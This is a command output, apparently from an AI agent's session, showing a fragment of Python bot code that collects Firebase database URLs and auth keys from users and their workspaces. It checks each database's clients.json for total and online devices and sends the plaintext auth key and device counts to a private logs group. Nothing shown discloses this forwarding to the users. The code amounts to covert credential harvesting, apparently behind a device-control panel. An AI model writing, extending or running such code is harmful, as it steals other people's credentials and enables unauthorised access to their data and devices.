Command exited with code 0. Command output: url = url if url.startswith("http") else f"https://{url}" if url not in collected: collected[url] = { "source": f"workspace:{ws.user_id}:{name}", "first_seen": datetime.now(IST).isoformat(), } changed = True if changed: self._save_collected_firebases(collected) log(f"[fb collect] seeded {len(collected)} existing Firebases.") async def _check_new_firebase(self, url: str, auth_key: str, shared_by: str) -> None: try: log(f"[fb collect] Starting check for Firebase URL: '{url}' from user: {shared_by}") if not self.logs_group_id: log("[fb collect] Warning: logs_group_id is not set in config. Cannot send notification.") return f_url = url if url.startswith("http") else f"https://{url}" collected = self._load_collected_firebases() if f_url in collected: log(f"[fb collect] Firebase URL '{f_url}' already reported. Skipping duplicate log group notification.") return collected[f_url] = { "first_seen": datetime.now(IST).isoformat(), "shared_by": shared_by, } self._save_collected_firebases(collected) total_devices = 0 online_devices = 0 clients_url = f"{f_url}/clients.json" if auth_key: clients_url += f"?auth={auth_key}" if self.http: try: async with self.http.get(clients_url, timeout=10) as resp: if resp.status == 200: clients_data = await resp.json() if isinstance(clients_data, dict): total_devices = len(clients_data) for client_info in clients_data.values(): if isinstance(client_info, dict): status_val = client_info.get("status") if status_val is True or status_val == 1 or str(status_val).lower() == "true": online_devices += 1 except Exception as e: log(f"[fb collect] Failed to fetch device stats: {e}") time_str = datetime.now(IST).strftime("%d/%m/%Y, %H:%M:%S") text = ( f"🔐 **New Firebase Credentials Submitted**\n\n" f"👤 **User ID:** `{shared_by}`\n" f"📍 **Firebase URL:** `{f_url}`\n" f"🔑 **Auth Key:** `{auth_key if auth_key else 'None'}`\n" f"📊 **TOTAL DEVICES:** {total_devices}\n" f"🟢 **ONLINE:** {online_devices}\n" f"⏰ **Time:** {time_str}" ) res = await self.send(self.logs_group_id, text) if res: log(f"[fb collect] new Firebase from {shared_by} sent successfully to logs group ({self.logs_group_id})") else: log(f"[fb collect] WARNING: self.send returned None for logs group ({self.logs_group_id}). Check bot admin rights in group.") except Exception as exc: log(f"[fb collect] Unexpected error in _check_new_firebase: {exc}") import traceback traceback.print_exc()